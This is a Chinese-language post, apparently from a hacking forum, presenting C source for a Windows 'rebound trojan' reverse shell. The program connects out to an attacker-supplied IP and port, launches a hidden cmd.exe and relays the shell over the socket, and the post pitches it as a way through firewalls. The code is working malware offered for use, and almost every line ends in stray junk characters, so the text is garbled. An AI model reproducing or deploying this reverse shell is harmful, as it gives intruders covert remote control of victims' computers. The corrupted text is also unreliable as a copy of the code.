这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 crA:I"I
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/* ============================== )"@t6.
Rebound port in Windows NT ~>ME'D~
By wind,2006/7 %@&a7JOL
===============================*/ OQ_stE2i
#include +2cs#i
#include bggusK<
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#pragma comment(lib,"wsock32.lib") k/Mp6<?C:
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void OutputShell(); 1`r| op},
SOCKET sClient; &ju-
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ,W5.:0Y;f[
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void main(int argc,char **argv) Qqs"?Z,P
{ ?`sy%G
WSADATA stWsaData; !MZw#=D`
int nRet; -Q$nA>trKA
SOCKADDR_IN stSaiClient,stSaiServer; 90 {tI X
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if(argc != 3) f%^'P"R
{ )jW(6
printf("Useage:\n\rRebound DestIP DestPort\n"); kv|,b
return; _ P ,@
} ^,s?e.u$8`
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WSAStartup(MAKEWORD(2,2),&stWsaData); sn\;bq
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); _pDjg%A>n
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stSaiClient.sin_family = AF_INET; 0TE@xqW
stSaiClient.sin_port = htons(0); "|LQK0q3
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); euRss#;
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) DMgBcP
{ o 5Zyh26
printf("Bind Socket Failed!\n"); ^^LjI
return; vd~U@-C=R
} :F|\Ij0T
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stSaiServer.sin_family = AF_INET; <,39_#H?F3
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); &W_th\%
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 4be> `d5j
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) k0K A ~
{ 744=3v
printf("Connect Error!"); 9{J?HFw*;
return; w$Ux?y-L
} mX_)b>iW
OutputShell(); 1 tfYsg=O
} Ygj6(2
#a}N"*P
void OutputShell() )q+4k m6
{ AqYxWk3>
char szBuff[1024]; DnyYMe!r
SECURITY_ATTRIBUTES stSecurityAttributes; `q?RF+
OSVERSIONINFO stOsversionInfo; +mWjBY
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; *re 44
STARTUPINFO stStartupInfo; Dt}dp_
char *szShell; F?*k}]Gi
PROCESS_INFORMATION stProcessInformation; ?vbDB 4
unsigned long lBytesRead; 0<P(M: a
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 8]*Q79
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 19y
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stSecurityAttributes.lpSecurityDescriptor = 0; OXtBJYe
stSecurityAttributes.bInheritHandle = TRUE; )mD\d|7f
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); LD.Ck6@
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Z;*`fd?8
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); pcpxe&S
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; kyAs'R@z
stStartupInfo.wShowWindow = SW_HIDE; `!Ln|_,d
stStartupInfo.hStdInput = hReadPipe; oI$V|D3 9
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; RK)l8c}
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GetVersionEx(&stOsversionInfo); ~{QEL2
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switch(stOsversionInfo.dwPlatformId) n&7@@@cA
{ }u^:MI
case 1: Ru7L>(Njs
szShell = "command.com"; ' o=E!?
break; ~I)uWo
default: F ?mA1T>x
szShell = "cmd.exe"; Yk7"XP[Y
break; twbcuaCTW
} 7+8bL{
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); $MT}l
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send(sClient,szMsg,77,0); %F3}/2
while(1) eiB(VOJ
{ Q<'@V@H
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 03"#J2b
if(lBytesRead) 24|<<Xn
{ ;$6x=uZ
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 5`yPT>*#m>
send(sClient,szBuff,lBytesRead,0); }9}w8R~E
} {d}26 $<$]
else f(.6|mPp
{ sN@j5p^jc
lBytesRead=recv(sClient,szBuff,1024,0); z|%Bh
if(lBytesRead<=0) break; o}!&y?mp
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); XPVV+.
} lxOqs:b
} [Yoa"K
Ltg-w\?]
return; 7 s-`QdWX
}